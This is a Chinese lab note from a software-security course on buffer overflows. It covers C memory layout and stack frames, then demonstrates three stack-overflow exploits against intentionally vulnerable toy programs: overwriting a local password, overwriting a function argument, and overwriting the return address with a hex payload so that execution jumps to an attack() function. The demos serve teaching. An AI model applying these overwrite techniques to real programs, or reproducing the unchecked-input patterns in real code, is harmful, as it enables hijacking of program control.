溢出型漏洞分析
缓冲区溢出
软件安全课程-实验笔记
C语言中内存的划分
内存划分
代码段(text segment)
存放CPU执行的机器指令(machine instructions),代码区指令根据程序设计流程依次执行,可以通过跳转指令来实现其他函数代码的执行。
通常,代码区是可共享的(即另外的执行程序可以调用它),因为对于频繁被执行的程序,只需要在内存中有一份代码即可。代码区通常是只读的,使其只读的原因是防止程序意外地修改了它的指令。另外,代码区还规划了局部变量的相关信息
全局初始化数据区/静态数据段(Data Segment)
数据段通常是指用来存放程序中已初始化的全局变量的一块内存区域。数据段属于静态内存分配。
数据段中的静态数据区存放的是程序中已初始化的全局变量、静态变量和常量
-
char* s = "ABC"
存储在常量区,因此只读不可改;char[] s = "ABC"
,存储在栈,因此是可改的:int main() { char* s = "ABC"; printf("%p\n",s); char* s2 = "ABC"; printf("%p\n",s2); char s3[] = "ABC"; printf("%p\n",s3); }
0000000000404072 0000000000404072 000000000061FE0C
-
const
修饰的全局变量也为常量。
未初始化数据段 (Block Started by Symbol,BSS)
通常是指用来存放程序中未初始化的全局变量的一块内存区域,属于静态内存分配,即程序一开始就将其清零或者被赋为NULL。
堆区
堆是用于存放进程运行中被动态分配的内存段,它的大小并不固定,可动态扩张或缩减。
当进程调用malloc
等函数分配内存时,新分配的内存就被动态添加到堆上(堆被扩张);当利用free
等函数释放内存时,被释放的内存从堆中被剔除(堆被缩减)。
在将应用程序加载到内存空间执行时,操作系统负责代码段、数据段和BSS段的加载,并将在内存中为这些段分配空间。栈段亦由操作系统分配和管理,而不需要程序员显示地管理;堆段由程序员自己管理,即显式地申请和释放空间。
栈区
该区存放函数的参数值、局部变量的值等,以及在进行任务切换时存放当前任务的上下文内容。其操作方式类似于数据结构中的栈。每当一个函数被调用,该函数返回地址和一些关于调用的信息,比如某些寄存器的内容,被存储到栈区。从这个意义上讲,我们可以把堆栈看成一个寄存、交换临时数据的内存区。
栈的分配由系统进行,所以效率要比靠依据函数库算法来分配的堆效率要高。
- 栈向低字节方向增长
进行内存划分的意义
一个进程在运行过程中,代码是根据流程依次执行的,只需要访问一次,当然跳转和递归有可能使代码执行多次,而数据一般都需要访问多次,因此单独开辟空间以方便访问和节约空间。
临时数据及需要再次使用的代码在运行时放入栈区中,生命周期短。
全局数据和静态数据有可能在整个程序执行过程中都需要访问,因此单独存储管理。
堆区由用户自由分配,以便管理。
缓冲区溢出漏洞
缓冲区溢出漏洞是指在设计计算机系统软件或者应用软件时,采用了一些年代久远如汇编,C,C++等编程语言,而这些语言在设计指出并没有考虑在内存管理上的安全性,十分依赖程序员,所以当采用了不安全的函数(例如C的puts()
)来接受输入的数据时,因为没有考虑到数据的长度的合法性,可能会造成数据超过本来的应有长度,从而覆盖掉后面的数据,之后程序读取后面的数据时便会发生各种错误,引发风险。
以C语言为例,在C语言设计之初,因为计算机的硬件资源十分有限,因此自动化的内存管理(如Java,Python的垃圾回收机制)和内存检查(如数组的边界检查)的实现是不现实的,需要程序员手动进行内存的管理,这在当时并没有什么不妥,而且当时C语言设计人员也是着重考虑功能的增强,也没有考虑安全性问题,所以就有了各种安全性漏洞的产生,其中比较多的就是缓冲区溢出漏洞。
栈溢出漏洞
栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被覆盖
栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。
发生栈溢出的基本前提:
- 程序必须向栈上写入数据;
- 写入的数据大小没有被良好地控制;
栈帧 stack frame
栈帧包括
- 函数的返回地址和参数
- 临时变量: 包括函数的非静态局部变量以及编译器自动生成的其他临时变量
- 函数调用的上下文-寄存器
关键寄存器
EBP
:基址寄存器,指向栈底。ebp
用来存储当前函数状态的基地址,在函数运行时不变,可以用来索引确定函数参数或局部变量的位置。
ESP
:栈顶寄存器,指向栈顶。esp
用来存储函数调用栈的栈顶地址,在压栈和退栈时发生变化。
EIP
:程序计数器,指向的地址中,保存着下一条要进行的指令。- cpu 依照
eip
的存储内容读取指令并执行eip
随之指向相邻的下一条指令,如此反复,程序就得以连续执行指令。
- cpu 依照
操作栈的常用指令
push
:压栈。PUSH
指令会对ESP
/RSP
/SP
寄存器的值进行减法运算,使之减去4字节(32位)或8字节(64位),然后将操作数写到上述寄存器里的指针所指向的内存中。pop
:弹栈。POP
指令是PUSH
指令的逆操作:它先从栈指针指向的内存中读取数据,用以备用(通常是写到其他寄存器里),然后再将栈指针的数值加上4字节或8字节。
函数调用过程
main函数调用fun,称main函数为caller
,被调用函数fun称为callee
:
- 在压栈的过程中,
esp
寄存器的值不断减小(对应于栈从内存高地址向低地址生长)。压入栈内的数据包括调用参数、返回地址、调用函数的基地址,以及局部变量- 其中调用参数以外的数据共同构成了被调用函数(callee)的状态。
- 在发生调用时,程序还会将被调用函数(callee)的指令地址存到eip寄存器内,这样程序就可以依次执行被调用函数的指令了。
- 首先将
callee
函数的参数逆序压入栈,(如果被调用函数calle不需要参数,则没有这一步骤); - 将被调用的函数
callee
压入栈后,将调用函数caller
进行调用之后的下一条指令地址作为返回地址压入栈内(即压入calle结束后需要执行的指令,以便告诉CPU这个函数调用完成之后该干什么,本例即返回到main函数的return
处),这样调用函数(caller)
的eip(指令)
信息得以保存; - 将当前
ebp
寄存器中的值(也就是调用函数的基地址)压入栈内,并将ebp
寄存器的值更新为当前栈顶的地址(即caller的esp
地址)- 这样这样调用函数
caller
的ebp(基地址)
信息得以保存。同时,ebp
被更新为被调用函数callee
的基地址(将当前栈顶地址传到ebp
寄存器内)
- 这样这样调用函数
esp
的值减去一个字节数目值,实现esp
向低字节移动;- 之后将被调用函数
callee
的局部变量等数据压入栈内; - 开始执行
eip
的指向的内存地址中的指令;
-
当被调用函数
callee
完成之后,需要丢弃被调用函数callee
的状态,并将栈顶恢复为调用函数caller
的状态-
首先被调用函数的局部变量会从栈内直接弹出,栈顶会指向被调用函数
callee
的基地址 -
然后将基地址内存存储的调用函数
caller
的基地址从栈内弹出,并存储到ebp
寄存器内- 这样调用函数
caller
的ebp(基地址)
信息得以恢复。此时栈顶会指向返回地址(即esp
寄存器的值更新为被调用函数callee
执行时的ebp
的值)
- 这样调用函数
-
再将返回地址从栈内弹出,并存到
eip
寄存器内。这样调用函数caller
的eip(指令)
信息得以恢复。 -
至此caller的函数状态就全部恢复了,之后就是继续执行调用函数的指令
-
栈溢出漏洞的利用
利用栈溢出覆盖函数的局部变量数据值
C语言中的gets()
从标准输入设备读字符串函数,其可以无限读取,不会判断上限,所以会造成溢出,所以可以利用这个漏洞来实现程序的数据以及流程的改变
以下是一个键盘输入与内置的局部变量的值的判断,然后决定是否执行特定程序的程序:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void fun() {
char password[6] = "ABCDE";
char str[6];
gets(str);
str[5] = '\0';
if (strcmp(str, password) == 0){ //比较stryupassword的值是否相同
printf("开始执行python!\n");
system("python"); //开始启动python程序
}
else{
printf("NO!\n");
}
}
int main() {
fun();
return 0;
}
首先在fun()处设置一个断点,表示下一步要进入fun()函数内,此时:
-
EIP = 0x006E18B0
-
ESP = 0x003EF850
-
EBP = 0x003EF920
-
fun函数开头的汇编指令:
void fun() { 006E18B0 push ebp 006E18B1 mov ebp,esp 006E18B3 sub esp,0E0h
- 可看出
EIP
寄存器地址存储的指令就是将ebp
寄存器内容(相应的地址)利用push
指令压入栈 mov
指令将esp
寄存器的内容复制到ebp
中sub
指令将esp
寄存器的内容额外减去0x0e0h
,即esp
向低地址移动0x0e0h个字节
- 可看出
当我们的fun函数执行到gets(str)
时,查看变量的地址以及内存的值:
变量的内存位置
attack 0x006e1840 {StackOverflow.exe!attack(...)} void (...)
fun 0x006e18b0 {StackOverflow.exe!fun(...)} void (...)
str 0x00cffacc "烫烫烫... char[0x00000006]
password 0x00cffadc "ABCDE" char[0x00000006]
部分内存视图
地址: 内容:
0x00CFFACC [cc cc cc cc cc cc]cc cc ????????
0x00CFFAD4 cc cc cc cc cc cc cc cc ????????
0x00CFFADC [41 42 43 44 45 00]cc cc ABCDE.??
0x00CFFAE4 cc cc cc cc bc fb cf 00 ???????.
0x00CFFADC
开始便可以看出连续的6个字节对应的就是"ABCDE",即password的值,最后的是'\0'
为结束符
-
0x00CFFACC
对应的为str的起始位置 -
由于puts函数不会限制输入数据的长度,所以我们可以通过输入特定字符在覆盖掉password
-
这里由于str是从0x00CFFACC开始的我们要输如21个字节(从str开始到45),我们连续输入21个A
输入完毕后,运行到if语句时,再次查看内存
部分内存视图
地址: 内容:
0x00CFFACC [41 41 41 41 41 00]41 41 AAAAA.AA
0x00CFFAD4 41 41 41 41 41 41 41 41 AAAAAAAA
0x00CFFADC [41 41 41 41 41 00]cc cc AAAAA.??
0x00CFFAE4 cc cc cc cc bc fb cf 00 ???????.
此时password的值已经被覆盖为为"AAAAA",与str的值相同,故可以通过strcmp
校验
结果:
结束后,此时EIP内容为main函数之后的指令地址,继续执行main函数,程序完成
注:实际上可能因平台与编译器不同,其str与password内存位置差距也不同,需要自行判断。
利用栈溢出覆盖函数参数值
通过写入字符数据来覆盖整形key,使得该key值与口令相等:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void fun(int key) {
char buffer[5];
puts(buffer);
if (key == 0x41424344) { //对应的char为A,B,C,D
printf("开始执行python!\n");
system("python");
}
else {
printf("NO!\n");
}
}
int main()
{
fun(0x45464748);
return 0;
}
和之前相同,观察&password
以及&key
的值
部分内存视图
地址: 内容:
0x00D3F790 [a8 f7 d3 00]06 c0 6c 00 ???..?l.
0x00D3F798 f0 f7 d3 00 0d 1a 6c 00 ???...l.
0x00D3F7A0 [48 47 46 45]52 13 6c 00 HGFER.l.
变量内存位置
buffer 0x00D3F790
&key 0x00D3F7A0
key位于参数位置,所以通过写入20个字节数据覆盖掉key这个参数的值就可以了,让key的新值为0x41424344
(即输入字符的最后四个字符为DBCA
)就可以
- 因为在C与C++中整形数值为小端存储,整数常量
0x41424344
在内存中的形式为:低地址... 0x44434241 ...高地址
,所以对于最后输入的四个字节,顺序需要颠倒。
输入'16个字符+DCBA'
,结果:
注意:因为修改了EBP和返回地址,所以函数执行完之后便会崩溃😩,如果不想崩溃的话,需要将该字段的值保持和原来相同,即将第9-16个字符设为相应的ASCII码对应的字符。(该处很多没有对应的可打印字符,所以不可能和原来相同,如果是通过读取文本的方式来输入key,可以用16进制编辑器来编辑相应的文本数据内容)
利用栈溢出漏洞修改返回地址实现函数的跳转
由于EBP后的四个字节为返回地址,即函数执行完之后的下一条执行的指令地址,可以通过修改该字段来实现执行特定的函数
代码如下:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void attack() {
printf("Attacked!\n");
system("python");
exit(0);
}
void fun() {
char password[6] = "ABCDE";
char str[6];
FILE* fp;
if (!(fp = fopen("H:\\SaftyTest\\StackOverflow\\password.txt", "r"))) {
exit(0);
}
fscanf(fp, "%s", str);
str[5] = '\0';
if (strcmp(str, password) == 0)
printf("OK!\n");
else
printf("NO!\n");
}
int main(){
fun();
return 0;
}
当执行到打开文本函数时,内存信息如下:
部分内存视图
地址: 内容:
0x00F7F6C8 [00 10 d4 00 e4 f6]f7 00 ..?.???.
0x00F7F6D0 [41 42 43 44 45 00]a2 00 ABCDE.?.
0x00F7F6D8 [2c f7 f7 00|88 17 a2 00] ,??.?.?.
变量视图
attack 0x00a21880 {StackOverflow.exe!attack(...)} void (...)
fun 0x00a218e0 {StackOverflow.exe!fun(...)} void (...)
str 0x00f7f6c8 "" char[0x00000006]
password 0x00f7f6d0 "ABCDE" char[0x00000006]
此时attack函数地址为0x00a21880
,RET
指针内容保存在0x00F7F6DC
位置中(即8817a200
),所以需要读入数据使得EBP
后的返回地址RET
的内容覆盖为00a21880
修改password.txt的文本为如下内容(按字节编辑),并保存:
41414141414141414141414141414141414141418018A200
-
共24字节,最后四位为
8018a200
(RET
为指针类型,其内容同样采用小端存储,需要字节颠倒)注:该内容为16进制内容,实际打开文本看到的内容可能为:
AAAAAAAAAAAAAAAAAAAA€?
这里并没有考虑两个字符数组比较的问题,如果想要显示OK,只需前str与password的相同位后的值改为
/0
即可(对应文本的16进制内容为00
)
继续执行程序,内存信息如下:
部分内存视图
地址: 内容:
0x00F7F6C8 41 41 41 41 41 00 41 41 AAAAA.AA
0x00F7F6D0 [41 41 41 41]41 41 41 41 AAAAAAAA
0x00F7F6D8 [41 41 41 41|80 18 a2 00] AAAA€.?.
程序结果:
由于本环境下C语言程序中采用小端存储,即数据的低字节存储在内存中的低字节地址中,所以最后将几个数据字节顺序倒置。
本例子运行完python后直接退出,如果不直接退出的话会发生如(2)一样的结果,原因也相同。